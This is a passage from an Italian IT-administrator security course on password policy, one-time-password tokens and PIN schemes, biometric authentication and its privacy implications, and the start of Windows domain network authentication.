che, date, parole del dizionario e altri nomi o simboli ri-
conducibili allutente;
4) assegnazione: per diversi prodotti hardware e software
non obbligatorio specificare nome utente e password:
il primo passo consiste quindi nellassegnare tali valori
(che questo sia ancora un problema testimoniato dal
fatto che, nel 2004, il 70% delle reti wireless sia stato in-
stallato senza alcuna protezione);
5) periodo di validit: pi frequente la modifica della pas-
sword, minore la probabilit di scoperta;
6) cambiamento: ogni password assegnata o scelta da un
utente dovrebbe essere nuova e differente;
7) valore di default: molti dispositivi sono posti in com-
mercio con nome utente e password impostati di default,
da modificare allatto dellinstallazione;
8) se una password devessere annotata o registrata, va
conservata al sicuro (in cassaforte, cifrata adeguata-
mente);
9) memorizzazione: in teoria una password dovrebbe es-
sere lunga, complicata e memorizzata dallutente senza
che ne esista alcuna traccia scritta o registrata, ma una
password troppo lunga e complicata meno sicura per-
ch induce lutente a scriverla su foglietti facilmente ac-
cessibili; unalternativa a password complicate consiste
nellimpiego di password mnemoniche molto lunghe e di
passphrase (insieme di parole brevi utilizzate come sin-
gola password), che sono una buona protezione anche
se contengono parole di soli caratteri.
In base a ricerche statistiche condotte nel 1990, Daniel
Klein arriv alla conclusione che un sistema dovrebbe ri-
fiutare password che abbiano anche una sola delle seguenti
caratteristiche:
1) pi corta di sei caratteri,
2) contenente il nome dellutente o una sua parte o le ini-
ziali (anche al contrario),
3) coincidente con una parola del dizionario, una parola
con parte delle lettere in maiuscolo, una parola scritta al
contrario (magari parte in maiuscolo), una parola con qual-
che lettera sostituita da un carattere di controllo o da una
cifra di ovvio significato (come 1 per I o $ per S),
4) coniugazione di una parola del dizionario,
5) tutta in minuscolo o maiuscolo,
6) non contenente un mix di caratteri, cifre e punteggiatu-
ra,
7) corrispondente a un gruppo di caratteri della tastiera
(come qwerty),
8) contenente solo cifre, una data o qualcosa di simile a una
targa automobilistica.
La tendenza degli utenti a usare nomi e parole facili da
ricordare riduce drammaticamente lo spazio delle pas-
sword definibili con un certo numero di caratteri, spianan-
do la strada agli attacchi tramite dizionario che sono stati
usati nel corso degli anni (a partire dallInternet worm che
nel 1988 penetr il 5% di Internet). Per esempio, si pu cal-
colare che una password di 10 caratteri (solitamente 80
bit), contenente solo parole della lingua inglese, equivale
per efficacia a una password di soli 16 bit in cui vengano uti-
lizzate tutte le combinazioni possibili. A maggior ragione
non si dovrebbero usare password numeriche rappresen-
tanti date (facili da ricordare e da scoprire). In particolare,
i PIN di quattro cifre (che proteggono ad esempio le Smart
Card) dovrebbero essere casuali e non riconducibili a da-
te oppure ad altri valori particolari.
In realt, i PIN non soddisfano n la prima, n l'ultima
delle condizioni e sarebbero una pessima scelta se non
avessero l'abbinamento dei dati del token e anche in tal mo-
do aggiungono una sicurezza molto limitata all'uso dei
token (come dimostrato dalla facilit di duplicazione dei
Bancomat).
Oltre a definire ed applicare una serie di criteri tecnici e
amministrativi per definire le password, unazienda do-
vrebbe stabilire una policy di sicurezza sulla riservatezza
delle password, in modo che in nessun caso esse vengano
rivelate a chicchessia. In determinate circostanze, pu es-
sere rischioso che ci sia un amministratore che possiede
tutte le password; quando la sicurezza lo richieda, si pu
stabilire una divisione di compiti e di accesso alle infor-
mazioni che eviti leccessiva concentrazione di poteri e di
controllo.
Anche lassunzione di un dipendente (oppure linizio
della collaborazione di un consulente) e la cessazione del
rapporto di lavoro o di consulenza rappresentano momenti
di assegnazione e di revoca delle password, da trattare se-
condo policy ben definite. In particolare, alla cessazione, le
utenze e le autorizzazioni devono essere immediatamente
revocate, per impedire accessi non autorizzati alle risorse,
remoti o di altro genere.
Se provate a visitare diverse aziende, sia ad alta tecno-
logia sia a bassa tecnologia, probabilmente scoprirete, sot-
to il tappetino del mouse dei vari posti di lavoro, un di-
screto numero di password. Bench possano essere na-
scoste anche nel cassetto, sotto il tavolo, sotto la tastiera
e via dicendo, il mouse pad la metafora di uno zerbino ed
facile che qualcuno vi nasconda la password cos come
nasconde la chiave sotto lo zerbino di casa. Lispezione dei
mouse pad e dintorni uno dei tipi di attacco dallinterno
a cui unorganizzazione soggetta. Le policy aziendali, la
sensibilizzazione e listruzione del personale dovrebbero
convincere gli utenti ad evitare i comportamenti insicuri a
favore di pratiche pi efficaci.
Data la velocit con cui un computer pu cercare din-
dovinare una password, il numero di tentativi di login do-
vrebbe essere limitato: raggiunto il numero stabilito di er-
rori nellinserire il nome utente e la password, il sistema do-
vrebbe bloccare ulteriori tentativi o richiedere una nuova
procedura di collegamento. Tra i vari tentativi viene sem-
pre inserito un ritardo al fine di rallentare le operazioni di
password guessing.
Unaltra misura precauzionale da adottare la registra-
zione in un file di log dei tentativi di accesso falliti (omet-
tere le password errate evita di favorire attacchi interni).
Un sistema dovrebbe avvertire lamministratore in pre-
senza di numerosi tentativi di accesso con password erra-
ta; dovrebbe avvertire anche un utente, al login, se al suo
nome utente sono associati parecchi tentativi di accesso
falliti.
Password interne ed esterne
Spesso si fanno considerazioni sulla scelta delle pass-
word senza distinguere se si tratti di password usate al-
linterno dellorganizzazione (dove gli estranei non metto-
no piede) o usate per accedere dallesterno della rete. Lu-
so consigliato delle password varia secondo che gli utenti
siano insider (personale dellazienda) o outsider (come i
PC Open www.pcopen.it 51
Lezione 3 IT Administrator - Sicurezza informatica
clienti che si collegano via Internet).
Allinterno dellazienda le password servono allautenti-
cazione dei dipendenti e di solito non forniscono un alto li-
vello di protezione, visto che gli utenti hanno accesso fisi-
co al sistema. Un attacco dallinterno ha vari mezzi a di-
sposizione, dalluso dei dizionari delle password pi usate
allo sniffing di ci che viene trasmesso in rete. Per tale mo-
tivo superfluo imporre agli utenti interni password com-
plicate. Al contrario, sono consigliabili i seguenti criteri:
1) usare password mnemoniche (affinch non vengano
scritte), ma difficili da indovinare anche per amici e col-
leghi. Evitare qualsiasi nome o argomento che noto op-
pure stato discusso con i colleghi, scegliere semmai
qualcosa di personale che non viene mai rivelato ad al-
tri. Conviene in ogni caso verificare le password cos ge-
nerate mediante un verificatore automatico che le scar-
ta se deboli ad un attacco basato su dizionario.
2) disabilitare la scadenza della password, che induce gli
utenti ad annotare le password, comunque un metodo
poco diffuso e poco condiviso, e solitamente utilizzato in
abbinamento al successivo.
3) incoraggiare gli utenti a cambiare password in occasio-
ne dei cambiamenti di configurazione del computer,
4) tenere i server e i dispositivi di rete sotto chiave;
5) i posti di lavoro dedicati ad applicazioni critiche (come
paghe e stipendi) dovrebbero essere situati in stanze se-
parate chiuse a chiave e non restare mai incustoditi. Ta-
le precauzione efficace a condizione che tali posti di la-
voro siano accessibili solo da consolle e non anche da re-
te.
6) i sistemi a cui si accede tramite single sign-on (sign-on
ossia registrazione singola per tutti i sistemi della rete)
non usano password interne, ma solo esterne,
7) le password degli amministratori devono essere pi for-
ti di quelle degli utenti interni, visto che rappresentano
un target pi ambito per eventuali attacchi.
In pratica, allinterno dellazienda si cerca di mediare tra
usabilit e sicurezza: una password troppo complicata per
essere usabile diventa una minaccia alla sicurezza quando
scritta sotto la tazza portamatite.
Allesterno, invece, una password pi complessa ed
protetta con metodi crittografici, ma vulnerabile ad at-
tacchi tramite dizionario. In unazienda, le connessioni re-
mote dovrebbero ricevere un trattamento diverso rispetto
alle connessioni interne ed essere filtrate da un dispositivo
di sicurezza.
In passato, il punto di filtro era tipicamente il Network
Access Server (NAS) per le connessioni telefoniche (dial-in)
visto che la gran parte degli attacchi avveniva via modem.
Oggi si utilizzano invece firewall per le connessioni in ar-
rivo da Internet. Volendo consentire laccesso dallesterno
a sistemi interni si utilizza tipicamente una VPN (Virtual Pri-
vate Nework).
Le password esterne dovrebbero essere resistenti agli
attacchi di tipo dizionario, il che si ottiene usando pas-
sword abbastanza complicate e cambiandole periodica-
mente. Se la risorsa da proteggere ha particolare valore, al-
lora la password un meccanismo di protezione inade-
guato e dovrebbe essere sostituita da metodi basati su
token.
Ecco quindi alcune raccomandazioni per la sicurezza
delle connessioni esterne:
1) se il sistema gestisce informazioni di particolare valore,
anzich normali password si dovrebbero usare token
con password single-use, Smart Card, token USB e simi-
li,
2) le connessioni esterne dovrebbero usare protocolli che
impediscano il rerouting (instradamento verso destina-
zione diversa) della connessione,
3) le password esterne dovrebbero resistere agli attacchi di
tipo dizionario,
4) le password esterne dovrebbero essere cambiate perio-
dicamente,
5) le password esterne dovrebbero essere fisicamente pro-
tette dagli attacchi interni,
6) le password esterne usate su computer portatili non de-
vono essere conservate sul computer.
Un buon modo per scegliere una password memorizza-
bile che resista ai dizionari il seguente:
1) scegliere una password a caso secondo i criteri visti per
le password interne,
2) scegliere una seconda password a caso, affinch non ab-
bia alcuna relazione con la prima,
3) scegliere a caso una cifra o segno di punteggiatura come
carattere intermedio,
4) costruire la password forte concatenando la prima pass-
word debole, il carattere intermedio e la seconda pass-
word debole,
5) esaminare il risultato e trovare qualche modello strut-
turale, ritmo, ripetizioni o qualsiasi significato che per-
metta di memorizzarlo senza doverlo scrivere.
Per esempio, frantumi5bistecca una password resi-
stente, ma abbastanza facile da ricordare.
Token
Autenticazione tramite token
Tra le tante definizioni della parola token, la pi vicina al-
luso in campo informatico gettone, un oggetto simile a
una moneta usato da un certo gruppo di utenti per pagare
qualcosa o per un impiego specifico. Il concetto si esteso
ai gettoni immateriali che non hanno la forma di una mo-
neta, ma che sono comunque oggetti fisici usati da un grup-
po secondo regole specifiche. Esempi in tal senso sono i
gettoni che viaggiano su una LAN Token Ring (che usa ap-
punto il gettone per assegnare il turno di trasmissione ai
vari computer collegati) e i gettoni impiegati dai dispositi-
vi di autenticazione.
Un token un fattore di autenticazione della categoria
qualcosa che hai; lutente devessere in possesso del
token al fine di essere autenticato dal computer. Se il token
viene smarrito, rubato o prestato, lutente non ha modo di
farsi autenticare, come un tempo accadeva per una chiave
o un sigillo personale.
Dal punto di vista della sicurezza, un token ha alcune
propriet fondamentali:
1) la persona devessere in possesso fisico del token per
poterlo usare,
2) un buon token molto difficile da duplicare,
3) una persona pu smarrire un token e con esso perdere
laccesso a risorse critiche,
4) lutente si accorge del furto di un token facendo linven-
tario dei token in suo possesso.
5.3.3 Token
5.3.3.1 Conoscere i
principi di
autenticazione
tramite token
Le password duso
esterno dovrebbero
essere complicate ed
essere modificate di
frequente
PC Open www.pcopen.it 52
ITAdministrator - Sicurezza informatica Lezione 3
Rispetto a una password, un token offre notevoli benefici:
1) elimina il fardello di dover ricordare password compli-
cate,
2) pu contenere un dato segreto molto pi complesso di
quanto sia memorizzabile da una persona,
3) spesso associato a un secondo fattore di autenticazio-
ne, come un PIN memorizzato dallutente,
4) un token attivo pu generare un output diverso in di-
verse circostanze oppure ad ogni utilizzo.
Oggi un token pu assumere i formati e le dimensioni pi
svariate: una carta di credito, una chiave, una calcolatrice,
un anello e altro ancora. Da un punto di vista funzionale, la
principale distinzione tra token passivi, che si limitano a
memorizzare dati, e token attivi, dotati di capacit di ela-
borazione.
Token passivi
Una carta di credito e una scheda Bancomat di vecchia
generazione (prive cio di processore) sono esempi di
token passivi, perch i dati identificativi sono registrati su
una striscia magnetica. Il lettore riceve sempre gli stessi da-
ti a ogni autenticazione; per sicurezza, pu essere richiesto
un secondo fattore di identificazione, come il PIN per le
schede Bancomat o il codice di sicurezza stampato sul re-
tro delle carte di credito.
I token passivi possono essere chiavi con una memo-
ria di sola lettura, schede con una certa struttura di perfo-
razione, schede con codice a barre e schede a prossimit,
cio dispositivi a induzione che rispondono con un certo
segnale quando avvicinati al lettore.
Un vecchio esempio di token passivo la datakey
(chiave con ROM) di Datakey (poi fusa con SafeNet). Pi re-
cente la XyLoc di Ensure Technologies, che viene indos-
sata e permette lautenticazione via radio quando lutente
si trova entro un certo raggio dal computer.
Tra gli esempi pi economici e diffusi ci sono i badge di
accesso, cio schede di plastica con striscia magnetica a
cui associato un PIN da digitare sulla tastiera numerica
del lettore.
Il problema principale dei token passivi la facilit di du-
plicazione; inoltre il PIN pu essere scoperto osservando
lutente oppure in altri modi (intercettazione, reverse en-
gineering del token, complicit del personale).
Token attivi
A differenza dei token passivi, quelli attivi non trasmet-
tono il proprio dato segreto per autenticare lutente, ma lo
utilizzano per qualche calcolo, come la generazione di una
one-time password, cio una password usata una volta so-
la (e quindi ogni volta diversa). Sebbene i token di tipo one-
time password affondino le proprie radici nei decenni pas-
sati, questa la tecnologia tradizionale usata da vari pro-
dotti delle famiglie SafeWord, SecuirID, CryptoCard e altri.
A questi si sono aggiunti numerosi prodotti basati sulla crit-
tografia asimmetrica e i certificati a chiave pubblica, sotto
forma di Smart Card, chiavi USB e altro.
I token attivi usano solitamente tecniche crittografiche
che li rendono immuni da intercettazioni e replay dei mes-
saggi. Ogni volta che lutente si connette per autenticarsi,
vengono generati messaggi diversi, in modo da vanificare
la registrazione e la ripetizione dei messaggi.
Esistono token attivi con e senza tastiera; alcuni sinter-
facciano direttamente col computer (per esempio via USB),
altri richiedono un lettore particolare (per esempio le
Smart Card e i token iButton) o un adattatore PCMCIA (di-
sponibile per le Smart Card). Dato che la crittografia a chia-
ve pubblica viene trattata a parte e per molti aspetti sta-
ta introdotta nella lezione 2 (Crittografia), qui ci occupiamo
soprattutto di token del tipo one-time password. Essi se-
guono generalmente uno tra i due metodi fondamentali per
generare la password: il metodo basato su contatore op-
pure il metodo basato sullorologio. In qualche caso ven-
gono adottati entrambi.
Una data significativa per ladozione di sistemi basati su
one-time password generate da token a contatore il 1994,
quando furono adottati da Citybank in risposta a una truf-
fa di vaste proporzioni. Un gruppo di russi, dopo aver ru-
bato le password di vari funzionari della banca, aveva di-
sposto una serie di trasferimenti attraverso mezzo mondo.
I token di questo tipo incorporano un contatore che viene
usato per generare una nuova password a ogni collega-
mento.
Al momento del login, lutente preme un pulsante sul
token, il contatore viene incrementato e una funzione hash
riceve in input il valore del contatore e il dato segreto me-
morizzato nel token; il risultato compare sul display del
token e lutente lo utilizza come password di login. Se la
password viene intercettata e riutilizzata, sar considerata
invalida.
Un esempio di token a contatore SafeWord, un token a
forma di chiave prodotto da Secure Computing. Lalgoritmo
di hashing varia a seconda dei prodotti. Per funzionare, un
sistema a contatore deve tenere sincronizzati il contatore
sul token e quello sul computer; un amministratore impo-
sta i valori iniziali. Nel caso di SafeWord, ci avviene me-
diante un dispositivo che si collega ai sette contatti pre-
senti frontalmente sul token. Opzionalmente, pu essere ri-
chiesto un PIN prima dellemissione della password, in mo-
do da neutralizzare il possibile furto oppure luso abusivo
del token.
In caso di perdita del sincronismo del contatore, il ser-
ver SafeWord utilizza lultima password ricevuta (e con-
servata) e verifica se le password successive (incremen-
tando il contatore) possono essere state prodotte dallo
stesso token, sincronizzando di nuovo il proprio contatore.
Nel caso un token a contatore venisse duplicato, il sistema
si comporter in modo erratico, alternando successi, falli-
menti e ri-sincronizzazioni che indicano la presenza di due
token con lo stesso dato segreto.
Il token SecurID di RSA Security, molto diffuso nono-
stante let, utilizza lorologio anzich un contatore. Ogni 60
secondi la funzione hash, in base al valore dellorologio e al
dato segreto, genera una password one-time. Il server man-
tiene il proprio orologio e accetta la password se si trova al-
linterno di una data finestra temporale. Token e server so-
no sincronizzati con lUCT (Universal Coordinated Time
lora del meridiano di Greenwich). Con linvecchiamento, il
clock dei token pu scostarsi da quello del server, ma que-
stultimo conserva informazioni per la correzione. Se dopo
un lungo periodo il token si collega e risulta fuori dalla fi-
nestra temporale di accettazione, il server rifiuta lautenti-
cazione, ma al successivo login, se rileva lo stesso errore
temporale, aggiorna le informazioni sullo scostamento di
quel token, ri-sincronizzandosi. I token SecurID sono pro-
dotti in vari formati hardware (a scheda e a chiave anche
con collegamento USB al computer, per non dover digitare
la password) e nella versione software.
PIN
Il punto debole dei token che possono essere rubati
(oppure presi a prestito) e utilizzati per commettere un
crimine. La soluzione comune di associare al token un PIN
Il gettone o token offre
un livello di sicurezza
maggiore rispetto alla
semplice password.
PC Open www.pcopen.it 53
Lezione 3 IT Administrator - Sicurezza informatica
che ostacoli luso del token almeno per il tempo necessario
ad accorgersi del furto e reimpostare il server in modo che
non accetti le password di quel token. Il PIN di un token pu
essere utilizzato in vari modi, tra cui i seguenti:
1) PIN concatenato a una password esterna: il PIN viene
combinato ad altre informazioni, come la password one-
time generata dal token, e il tutto inviato al server. Al
login, lutente digita la password generata (visualizzata
sul display del token) seguita dal PIN. Tale approccio
adottato da SecurID e da altri prodotti. Il rischio che il
PIN sia visto e che il token sia rubato.
2) PIN come password interna: il PIN impostato nel token
e nessun altro ne ha visibilit. Dato che in questo caso il
PIN digitato sulla tastiera del token, si possono impo-
stare diversi comportamenti in caso di PIN errato: ritar-
dare laccesso o bloccare il token, riportare laccesso er-
rato in modo che il titolare ne sia informato e via dicen-
do. Di base, a fronte di un PIN errato, il token dovrebbe
ritardare progressivamente le operazioni al fine di dare
tempo allutente dintervenire. Tale implementazione del
PIN consente, come nel caso di certi token SafeWord, di
riconoscere un particolare valore di PIN (quello corret-
to meno uno) come segnale di allarme, perch lutente
sotto minaccia. Il PIN come password interna vulnera-
bile in caso di implementazione software, visto che pos-
siede tutte le informazioni che potrebbero servire in ca-
so di attacco.
3) PIN come parte del dato segreto: questo approccio ri-
solve il problema dellimplementazione software, dato
che il token non memorizza il valore del PIN e neppure il
completo dato segreto. La password generata inse-
rendo il PIN, calcolando lhash in base al PIN e al segre-
to parziale e calcolando la password in base allhash e al
valore del contatore o dellorologio. In questo modo, un
login errato viene scoperto solo al tentativo di connet-
tersi al server e lattaccante non ha modo di eseguire
tentativi senza che vengano registrati nel file di logging.
Di conseguenza, se i tentativi vengono segnalati, si pos-
sono predisporre tempestivamente le difese.
Challenge
Una variante di token di autenticazione utilizza il cosid-
detto challenge response. Al momento del login, il token ri-
ceve dal server un dato (challenge, ossia sfida) e lo elabo-
ra appropriatamente, utilizzando il proprio dato segreto,
per fornire la risposta (response) che attesta la corretta
identit dellutente. Esempi di token che supportano que-
sto tipo di autenticazione si trovano nelle famiglie Sa-
feWord, WatchWord e CryptoCard.
Biometria
Schemi di autenticazione biometrica
La biometria la scienza e tecnologia dellautenticazio-
ne (stabilire lidentit di un individuo) misurando le carat-
teristiche fisiologiche o comportamentali di una persona.
Il termine deriva dalle parole greche bios (vita) e "me-
tron" (misura), quindi applicabile a particolari caratteri-
stiche di un corpo umano vivo o ad alcuni tratti compor-
tamentali di un individuo, misurabili e utili per lidentifica-
zione.
Le caratteristiche fisiche utilizzate per lautenticazione
biometrica sono diverse:
1) impronte digitali. Usate da un secolo e mezzo, manten-
gono la loro reputazione di unicit per ogni individuo, ge-
melli inclusi. Gli scanner di impronte sono molto diffusi
e hanno un basso costo, molto inferiore a quello degli al-
tri dispositivi biometrici.
2) Geometria delle mani: rispetto alle impronte digitali, che
richiedono mani pulite, ha il vantaggio di poter essere
usata anche in condizioni ambientali difficili, come fab-
briche e cantieri.
3) Retina: la sua scansione utilizzata in installazioni mili-
tari e governative. Il modello dei vasi sanguigni della re-
tina unico e stabile, sebbene siano possibili variazioni
(come durante la gravidanza). La fotografia della retina
richiede unesposizione prolungata a bassa intensit lu-
minosa ed vista come una procedura intrusiva, sebbe-
ne non rechi danno agli occhi.
4) Iride: come per la retina, la sua scansione fornisce un
modello unico e stabile ed oggi una delle tecnologie in
rapida ascesa per ladozione in aeroporti e controlli del-
limmigrazione. La foto ripresa da una certa distanza e
presenta difficolt simili a quelle della retina.
5) Riconoscimento del volto: un metodo particolarmente
flessibile e pu essere utilizzato allinsaputa della per-
sona oggetto della scansione (con i relativi pro e contro).
Pu essere usato per cercare un individuo nella folla, a
patto che raggiunga la necessaria precisione di ricono-
scimento. Negli ultimi tempi negli USA si sono registrati
fallimenti clamorosi .
6) Impronta vocale: come il riconoscimento del volto, la-
nalisi della voce pu essere usata allinsaputa dellinte-
ressato. E possibile falsificarla manipolando una regi-
strazione, ma imitare la voce di un altro non trae in in-
ganno un analista esperto. Questa caratteristica a volte
elencata nella categoria dei tratti comportamentali, da-
to che non si basa sullosservazione di una parte del cor-
po.
Altre caratteristiche comportamentali sono:
1) firma autografa. I sistemi di riconoscimento affidabili la
confrontano con una registrazione che comprende la di-
namica del movimento della penna da parte dellutente.
Di solito, comunque, la verifica della firma abbinata ad
altri metodi di autenticazione e serve soprattutto per ri-
levare firme falsificate.
2) Dinamica della digitazione su tastiera: esistono alcuni si-
stemi che riconoscono il comportamento dellutente du-
rante la battitura, come il ritardo tra pressione e rilascio
dei tasti e il tempo che intercorre tra la pressione di va-
rie coppie di tasti. Un vantaggio che non occorre
hardware aggiuntivo.
La diffusione dei dispositivi biometrici ha subito un for-
te impulso dal settembre 2001, quando iniziato un pro-
cesso di progressivo spostamento del punto di equilibrio
tra esigenze di sicurezza e garanzie personali (a partire dal-
la privacy). Oggi sono gi istallati in varie nazioni disposi-
tivi biometrici per il controllo delle frontiere che sono ba-
sati sulla scansione delle impronte digitali o della retina.
5.3.4 Biometria
5.3.4.1 Conoscere i
diversi schemi di
autenticazione
biometrica e la loro
efficacia.
La geometria della mano
e limpronta digitale
costituiscono altri due
sistemi abbastanza
comuni per
lautenticazione
biometrica.
PC Open www.pcopen.it 54
ITAdministrator - Sicurezza informatica Lezione 3
Quelle che oggi sono installazioni sperimentali, che richie-
dono il consenso dellindividuo, sono destinate a diventa-
re prassi generalizzata. Entro pochi anni previsto che i da-
ti biometrici siano registrati nei passaporti. A seguito del-
la rapida espansione della biometria nel settore pubblico,
prevedibile che anche il settore privato adotti le stesse
tecnologie di autenticazione, nonostante quelle biometri-
che siano probabilistiche (non funzionano nel 100% dei ca-
si) e non siano prive dinconvenienti, sia tecnici sia di altra
natura. Per esempio, non c nessuna garanzia che un da-
tabase dimpronte biometriche, oggi garantito impermea-
bile a utilizzi volti al controllo delle persone (ubicazione,
abitudini, acquisti, comportamenti, eccetera), un domani
non venga usato contro ogni diritto alla privacy per pre-
sunti motivi di sicurezza.
Lapprovazione del Real Id Act negli USA impone ai cit-
tadini, entro maggio 2008, di avere un documento di iden-
tit digitale (con incorporato chip RFID di trasmissione ra-
dio Radio Frequency Identification) per poter guidare un
veicolo, prendere un aereo, aprire un conto bancario e ac-
cedere ai servizi pubblici.
Inoltre la legge consente al dipartimento per la sicurez-
za nazionale (Homeland Security) di chiedere linclusione
di dati biometrici nel documento di identit (impronte di-
gitali o scansione della retina o delliride) in aggiunta alla fo-
to, indirizzo e altri dati personali.
Anche la letteratura sui dispositivi biometrici, piuttosto
asettica e imparziale fino al 2001, nel momento in cui in-
genti finanziamenti sono confluiti nel settore della sicurez-
za, ha subito le pressioni di interessi economici e di posi-
zioni dominanti (come quella legata alla scansione delliri-
de).
Oggi, per valutare correttamente le tecnologie biome-
triche disponibili e le proposte dei produttori, consiglia-
bile estendere lindagine a fonti di informazione che pre-
sentino i rispettivi pro e i contro, incluse le eventuali for-
zature motivate da obiettivi commerciali. Ne un esempio
la polemica intorno alla scansione delliride, che vede con-
trapposte le valutazioni di chi ha ottenuto i brevetti (John
Daugman, http://www.cl.cam.ac.uk/users/jgd1000) e le con-
trodeduzioni di chi lo accusa di disinformazione (www.iris-
ward.com/TEMP/02-cadre.html); altre fonti, come
http://www.iris-recognition.org, sono pi neutrali. Dopo la
fusione tra le aziende IriScan e Sensar, Iridian Technologies
oggi il detentore dei brevetti e il principale protagonista
in questo settore.
Funzionamento
Il principio base di funzionamento lo stesso per tutti i
sistemi biometrici. Ogni sistema usa un sensore per rac-
cogliere in forma digitale i dati corrispondenti a una misu-
ra biometrica. Il sensore pu essere ad esempio uno scan-
ner apposito per limpronta digitale o una speciale fotoca-
mera usata per riprendere limmagine delliride. In en-
trambi i casi sono state dimostrate le possibilit di falsifi-
cazione, che possono essere sventate migliorando i sensori
(per esempio rilevando temperatura, conducibilit e altri
indicatori di un dito vivo) e presidiando il sensore (per evi-
tare di autenticare la foto di un occhio).
A partire dalla misura digitale fornita dal sensore, ven-
gono estratte le caratteristiche individuali, che permettono
di differenziare un individuo da un altro; per esempio, nel
caso delliride, ci sono oltre 200 punti da esaminare. Il pro-
cesso di estrazione fornisce unimpronta o firma biome-
trica, che allatto dellautenticazione viene confrontata
con i modelli biometrici archiviati in un database.
Il confronto fornisce generalmente una corrispondenza
parziale: se lo scostamento inferiore alla soglia di accet-
tazione, lautenticazione positiva, altrimenti rifiutata.
Idealmente, il processo di registrazione dellimpronta bio-
metrica di riferimento dovrebbe sfruttare tutte le occasio-
ni in cui vengono confrontate due misure dello stesso sog-
getto per affinare e adattare limpronta campione e ridurre
la probabilit di falsi rifiuti.
Usi
Sebbene la biometria sia qui citata nel contesto delle tec-
niche di autenticazione, utile sapere che essa pu servi-
re a tre diversi campi di utilizzo:
1) autenticazione: laccertamento che limpronta bio-
metrica sia (con buona probabilit) proprio quella dellu-
tente che la presenta;
2) identificazione: dato un campione biometrico, si vuo-
le scoprire a quale individuo esso appartiene (o perlome-
no a quale rosa di sospetti, visto che questo uso tipico
delle forze di polizia);
3) unicit: dato un campione biometrico, si vuole verifi-
care se il suo proprietario gi in un certo database (per
esempio per evitare di accordare due volte un certo bene-
ficio sociale alla stessa persona o di permettere limmigra-
zione di individui gi espulsi).
Precisione
La precisione di un dispositivo biometrico (sempre in-
feriore al 100%) misurata dalla stima delle false accetta-
zioni (impronte biometriche non registrate nel database,
ma erroneamente riconosciute come valide) e dei falsi ri-
fiuti (impronte valide ed erroneamente rifiutate). La preci-
sione viene stimata leggendo i campioni biometrici da
unampia popolazione di prova e confrontandoli con le im-
pronte registrate in un database.
Le due curve FAR (False Acceptance Rate, tasso di false
accettazioni) e FRR (False Rejection Rate, tasso di falsi ri-
fiuti) si incrociano nel punto ERR (Equal Error Rate, pari
tasso di errori), che generalmente corrisponde al miglior
punto di taratura del lettore biometrico. Il valore di FAR in-
dica la sicurezza del lettore biometrico ed paragonabile
al numero di bit di una password.
Un FAR di 1 su 100.000 per un lettore biometrico corri-
sponde circa a una password di 16 bit. Abbassando il FAR
si alza per lFRR, che rappresenta lusabilit del sistema (i
falsi rifiuti impediscono agli utenti autorizzati laccesso al
sistema), quindi occorre bilanciare sicurezza e usabilit.
Segretezza
Chi intercetta o entra in possesso di unimpronta bio-
metrica pu tentare di impersonare il proprietario di quel-
limpronta o, peggio, monitorare gli spostamenti e i com-
portamenti di tale individuo. Ne possono seguire truffe, cri-
mini commessi a nome altrui e gravi violazioni della pri-
vacy.
Un sistema biometrico per autenticazione locale, inclu-
so cio in un perimetro di sicurezza, relativamente sicu-
ro. Lo stesso non vale per i sistemi distribuiti in rete, che
devono ricorrere a tecniche di crittografia per proteggere
la riservatezza dei dati trasmessi. Una soluzione cifrare i
dati biometrici con una chiave pubblica prima di trasmet-
terli e decifrarli in ricezione con la corrispondente chiave
privata.
Non si possono usare le funzioni hash nel confronto tra
impronte biometriche lette e archiviate perch a piccole
variazioni di unimpronta biometrica corrisponderebbero
ampie variazioni dellhash, impedendo il riconoscimento.
In pratica, unimpronta biometrica serve per autentica-
re una persona, ma per evitare falsificazione nella trasmis-
sione dei dati, non si pu fare a meno di autenticare a loro
volta, per esempio con una coppia di chiavi per crittogra-
fia asimmetrica, i dati biometrici.
La cifratura dei dati biometrici dovrebbe rispondere, in
qualche misura, anche alle esigenze delle normative sulla
privacy. Il settore privato sar chiamato a rispondere del-
la privacy dei dati biometrici conservati nei database; i set-
tori e le agenzie governative nel mondo si sono mostrati in-
vece propensi a sacrificare la privacy re-interpretando, di
PC Open www.pcopen.it 55
Lezione 3 IT Administrator - Sicurezza informatica
volta in volta, le esigenze di sicurezza nazionale nel senso
di una riduzione effettiva del diritto individuale alla non di-
vulgazione dinformazioni personali.
Autenticazione in rete
Per risolvere il problema di autenticare un soggetto sia
esso un utente o un processo in contesto di rete si deve
fare i conti con il problema di trovare un compromesso fra
modalit operative ragionevolmente semplici, un onere
amministrativo non eccessivo (per i sistemisti che hanno
in gestione le macchine) e un livello di sicurezza accetta-
bile. Questi problemi derivano dal fatto che da un lato l'u-
tente non desidera dover ricordare e usare troppe pas-
sword diverse, n l'amministratore vuole dover configura-
re e mantenere un numero eccessivo di profili e password,
e d'altra parte si desidera che anche la sicurezza di ogni sin-
golo sistema inserito in rete non sia troppo inferiore a quel-
la che avrebbe se fosse isolato.
Si consideri innanzitutto il fatto che, se l'accesso a un si-
stema B avviene remotamente agendo da un sistema A, re-
sta ovviamente necessario che l'utente abbia accesso (cio
disponga di una username e password) sul sistema B, ma
occorre anche, in generale, che disponga di un login sul si-
stema da cui effettua l'accesso, ossia A. Per evitare che l'u-
tente debba ricordare coppie login/password per troppi si-
stemi diversi si potrebbe decidere di adottare account
uguali (con password uguali) su A e su B. Cos facendo lo
username e la password da digitare sarebbero gli stessi su
entrambi i sistemi e l'utente avrebbe meno segreti da ri-
cordare. Tuttavia egli sarebbe ancora costretto a ripetere
la manovra di login (seppure con dati sempre uguali) a ogni
accesso remoto, senza contare che dovrebbe effettuare l'o-
perazione periodica di cambiamento delle password sia su
A sia su B.
In ambiente Windows possibile semplificare le cose or-
ganizzando i server in un unico "dominio": con tale termi-
ne sintende un raggruppamento logico di server di rete e
altri host che condividono le informazioni sui profili uten-
te e altre impostazioni di security. In un dominio esiste sem-
pre un database principale (Primary Domain Controller,
PDC) che contiene tali informazioni ed inoltre possibile,
opzionalmente, replicare per sicurezza tale database su
una o pi altre macchine (Backup Domain Controller,
BDC), che vengono mantenute aggiornate mediante ope-
razioni periodiche di "sincronizzazione". Nel dominio pos-
sono, poi, esistere macchine sempre con funzioni di server
(e che per la gestione di profili utente si appoggiano al
PDC), ma su cui non risiede n una copia primaria n una
secondaria del database di dominio. In terminologia Win-
dows, tali host sono chiamati "member servers".
Una volta effettuate le impostazioni necessarie, l'utente
ha il vantaggio di dover ricordare una sola password vali-
da per tutte le macchine che partecipano al dominio; inol-
tre, nelle utility di Windows che mostrano elenchi di risor-
se di rete disponibili, quelle del dominio saranno raggrup-
